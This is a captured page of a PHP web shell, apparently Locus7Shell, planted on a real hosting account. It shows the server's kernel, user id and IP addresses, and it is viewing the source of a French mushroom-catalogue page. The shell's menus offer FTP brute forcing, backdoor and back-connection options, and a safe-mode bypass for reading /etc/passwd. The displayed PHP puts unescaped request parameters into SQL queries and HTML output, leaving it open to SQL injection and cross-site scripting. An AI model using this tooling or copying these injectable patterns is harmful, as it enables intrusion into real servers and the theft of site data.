Software: Apache. PHP/5.4.45 

uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue
Sep 17 08:14:20 UTC 2024 x86_64
 

uid=243112(mycochar) gid=100(users) groups=100(users)  

Safe-mode: OFF (not secure)

/home/mycochar/www/   drwx---r-x
Free 0 B of 0 B (0%)
Your ip: 216.73.216.77 - Server ip: 213.186.33.19
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    

[Enumerate]    [Encoder]    [Tools]    [Proc.]    [FTP Brute]    [Sec.]    [SQL]    [PHP-Code]    [Backdoor Host]    [Back-Connection]    [milw0rm it!]    [PHP-Proxy]    [Self remove]
    


Viewing file:     Alphaasupprimer.php (10.71 KB)      -rw----r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<style type="text/css">
<!--
body {
    margin-right: 0px;
    margin-bottom: 0px;
}

-->
</style></head>
<body>
<p class="Style3">LISTE DES CHAMPIGNONS</span>
<?php
include ("connect.php");
$get mysql_query("SELECT * FROM presentation WHERE ID='7'");
$i=1;
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
    
$i++;
    
$texte $row['TEXTE'];

if (isset(
$_SESSION['identifiant']))
           {
           
            if (isset(
$_GET['valider']))
              {
              
$text2 $_POST['text2'];
              
$num '7';
              
$query mysql_query("UPDATE presentation SET TEXTE='$text2' WHERE ID='$num'");
              echo 
"<p class='Style2'>$texte</p>";
              }
              else
              {echo 
'<table><form action="index.php?page=Alpha&valider=1" method="POST" enctype="multipart/form-data"><td><tr>
           <textarea name="text2" cols="80" rows="4">'
.$texte.'</textarea></tr>
           
                    <tr><input type="submit" name="sup2" value="Enregistrer"></tr></td>
                    </form></table>'
;
                    }
           
           
           
           }
           else
           {
           echo 
"<p class='Style2'>$texte</p>";
           }
         
     }
     
?></ br>

<?php
//connection à la database
include ("connect.php");

// on vérifie que l'information existe 
if ( isset($_POST['genre']) && !empty($_POST['genre']) ) 

// si c'est bien le cas
     
{
     
$selection $_POST['genre'];
     echo(
"$selection");
     }
else 
     {
     }
?>
<table border="0" cellspacing="0" cellpadding="0">
  <tr>
    <td><form id="form1" name="form1" method="GET" action="index.php?page=Alpha">
 
     <select name='subdivision'>
    <?php if ((isset($_GET['subdivision'])) && ($_GET['subdivision']!=""))
                   {
                   
$subdivisionf $_GET["subdivision"];
                   echo 
'<option value='.$subdivisionf.'>'.$subdivisionf.'</option>';
                    }
                    else
                    {
                    echo 
'<option value="">Sub-division</option>';
                    
$subdivisionf "";
                    }
     
              
$get mysql_query('SELECT * FROM subdivision ORDER BY subdivision');
                    echo 
'<option value="">Déselectionner</option>';
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$subdivision $row['SUBDIVISION'];
                    
$id $row['ID'];
                    echo 
"<option value=".$subdivision.">".$subdivision."</option>";
                    }       
                    echo 
'</select> ';
    
?>
    
      <select name='genre'>
<?php     if ((isset($_GET['genre'])) && ($_GET['genre']!=""))
                   {
                   
$genref $_GET["genre"];
                   echo 
'<option value='.$genref.'>'.$genref.'</option>';
                    }
                    else
                    {
                    echo 
'<option value="">Genres</option>';
                    
$genref ="";
                    }
                    
              
$get mysql_query('SELECT * FROM genre ORDER BY genre');
                    echo 
'<option value="">Déselectionner</option>';
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$genre $row['GENRE'];
                    
$id $row['ID'];
                    echo 
"<option value=".$genre.">".$genre."</option>";
                    }       
                     echo 
'</select>';
    
?>
     <select name='espece'>
    <?php if ((isset($_GET['espece'])) && ($_GET['espece']!=""))
                   {
                   
$especef $_GET["espece"];
                   echo 
'<option value='.$especef.'>'.$especef.'</option>';
                    }
                    else
                    {
                    echo 
'<option value="">Especes</option>';
                    
$especef "";
                    }

              
$get mysql_query('SELECT * FROM espece ORDER BY espece');
                   echo 
'<option value="">Déselectionner</option>'
              while (
$row mysql_fetch_assoc($get))
                   {
                    
$espece $row['ESPECE'];
                    
$id $row['ID'];
                    echo 
"<option value=".$espece.">".$espece."</option>";
                    }     
                     echo 
'</select> ';
    
                    
            if ((isset(
$_GET['nomrecherche'])) && ($_GET['nomrecherche']!=""))
                 {
                  
$varietef $_GET["nomrecherche"];
                  echo 
'<input name="nomrecherche" type="text" value='.$varietef.' size="15" maxlength="30" />';
                 }
              else
                  {
                   echo 
'<input name="nomrecherche" type="text" value="" size="15" maxlength="30" />';
                   
$varietef "";
                  }
    
?>
    <input name="page" type="hidden" value="Alpha" maxlength="40" />
<td><input type="submit" value="Chercher" title="Valider" /></form></td>
<td> <?php if (isset($_SESSION['identifiant']))
           {
           echo 
"<img src='image/transparent.png' width='10' height='10' /></td><td><form action='index.php?page=Modification articles&creation=1' method='POST' enctype='multipart/form-data'>
                 <input type='submit' name='sup' value='Ajouter un Champignon'>
                 </form>"
;
            }
        
?>
            </td>
  </tr>
</table>
                 
                 </p>
<p>&nbsp;</p>

<table border="0" cellpadding="0" cellspacing="0">

<?php
//Nombre maximun d'articles par page
$per_page 30000;

//d'ou on commence pour la variable
if (isset($_GET['start']))
   
$start $_GET['start'];
else
{
   
$start 0;
}

// compter le nombre de réponse
$record_count mysql_num_rows(mysql_query("SELECT * FROM champignons WHERE GENRE LIKE '%$genref%' AND ESPECE LIKE '%$especef%' AND SUBDIVISION LIKE '%$subdivisionf%' AND (VARIETE LIKE '%$varietef%' || GENRE LIKE '%$varietef%' || ESPECE LIKE '%$varietef%' || SUBDIVISION LIKE '%$varietef%') ORDER BY genre,espece,variete")); // a modifier pour la sélection de donnée (SELECT ..... FROM articles

// compter le nombre maximal de page
$max_pages $record_count $per_page//mais cela peut être décimal

$compteur 0;
//apparition des données
$get mysql_query("SELECT * FROM champignons WHERE GENRE LIKE '%$genref%' AND ESPECE LIKE '%$especef%' AND SUBDIVISION LIKE '%$subdivisionf%' AND (VARIETE LIKE '%$varietef%' || GENRE LIKE '%$varietef%' || ESPECE LIKE '%$varietef%' || SUBDIVISION LIKE '%$varietef%') ORDER BY genre,espece,variete");
while (
$row mysql_fetch_assoc($get))
     {
      
// obtenir données
      
$compteur $compteur 1;
         
$id $row['ID'];
     
$espece $row['ESPECE'];
       
$name $row['VARIETE'];
      
$genre $row['GENRE'];
$subdivision $row['SUBDIVISION'];
       
$pdf1 $row['PDF1'];
       
$pdf2 $row['PDF2'];
       
$pdf3 $row['PDF3'];
       
$pdf4 $row['PDF4'];
       
$pdf5 $row['PDF5'];
       
$pdf6 $row['PDF6'];

     echo 
'<tr>
          <td width="500"> <table border="0" cellspacing="0" cellpadding="0">
            <tr>
              <td width="120"><div align="left">'
.$subdivision.' </div></td>
              <td><div align="left">'
.$genre.' '.$espece.' '.$name.'</div></td>
               </tr>
                  </table></td>'
;
          echo 
'<td width="200">';
           if (
$row['PDF1'])    
           echo 
'<a href="'.$pdf1.'" target="_blank"><img src="image/pdf1.png" width="20" height="20" border="0" /></a>';
           else
           {
           if (isset(
$_SESSION['identifiant']))
           {
           
?>
           <A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=1','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf1n.png" width="20" height="20" border="0" /></A><?php
           
}
           }
           
           if (
$row['PDF2'])
           echo 
'<a href="'.$pdf2.'" target="_blank"><img src="image/pdf2.png" width="20" height="20" border="0" /></a>';
           else
{
           if (isset(
$_SESSION['identifiant']))
           {
           
?><A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=2','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf2n.png" width="20" height="20" border="0"/></A><?php
           
}
           }
           
           if (
$row['PDF3'])
           echo 
'<a href="'.$pdf3.'" target="_blank"><img src="image/pdf3.png" width="20" height="20" border="0" /></a>';
           else
           {
           if (isset(
$_SESSION['identifiant']))
           {
           
?><A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=3','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf3n.png" width="20" height="20" border="0"/></A><?php
           
}
           }
           
           if (
$row['PDF4'])
           echo 
'<a href="'.$pdf4.'" target="_blank"><img src="image/pdf4.png" width="20" height="20" border="0" /></a>';
           else
           {
           if (isset(
$_SESSION['identifiant']))
           {
           
?><A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=4','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf4n.png" width="20" height="20" border="0"/></A><?php
           
}
           }
           if (
$row['PDF5'])
           echo 
'<a href="'.$pdf5.'" target="_blank"><img src="image/pdf5.png" width="20" height="20" border="0" /></a>';
           else
           {
           if (isset(
$_SESSION['identifiant']))
           {
           
?><A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=5','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf5n.png" width="20" height="20" border="0"/></A><?php
           
}
           }
           if (
$row['PDF6'])
           echo 
'<a href="'.$pdf6.'" target="_blank"><img src="image/pdf6.png" width="20" height="20" border="0" /></a>';
           else
           {
           if (isset(
$_SESSION['identifiant']))
           {
           
?><A HREF="#" onClick="window.open('ajoutpdf.php?variete=<?php echo"$id";?>&pdf=6','_blank','toolbar=0, location=0, directories=0, status=0, scrollbars=0, resizable=0, copyhistory=0, menuBar=0, width=400, height=80');return(false)"><img src="image/pdf6n.png" width="20" height="20" border="0" /></A><?php
           
}
           }
           if (isset(
$_SESSION['identifiant']))
           {
     echo 
"</td><td><form action='index.php?page=Modification articles&id=".$id."&supprimer=1' method='POST' enctype='multipart/form-data'>
           <input type='submit' name='sup' value='Supprimer'></form></td><td><a href='index.php?page=deletepdf&delete=2&id="
.$id."'><img src='image/deletepdf.png' width='20' height='20' border='0' /></a></td></tr>
          
           "
;
           
           }
          }

//installer le bouton avant et après
$prev $start $per_page;
$next $start $per_page;

//montrer le bouton previous
if (!($start<=0))
       echo 
"<a href='index.php?page=Alpha&start=$prev'>Précédent</a> ";

// montrer le numéro des pages
// programmer la première page

//montrer le bouton next
if (!($start>=$record_count-$per_page))
       echo 
"<a href='index.php?page=Alpha&start=$next'>Suivant</a> ";

if (isset(
$_SESSION['identifiant']))
           {
           echo 
"<strong>Nombre total d'espèces créées: ".$compteur.".</strong><br>";
           }
?>
</table>

<br><br>

Enter:
 
Select:
 

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

Search
  - regexp 

Upload
 
[ ok ]

Make Dir
 
[ ok ]
Make File
 
[ ok ]

Go Dir
 
Go File
 

--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0063 ]--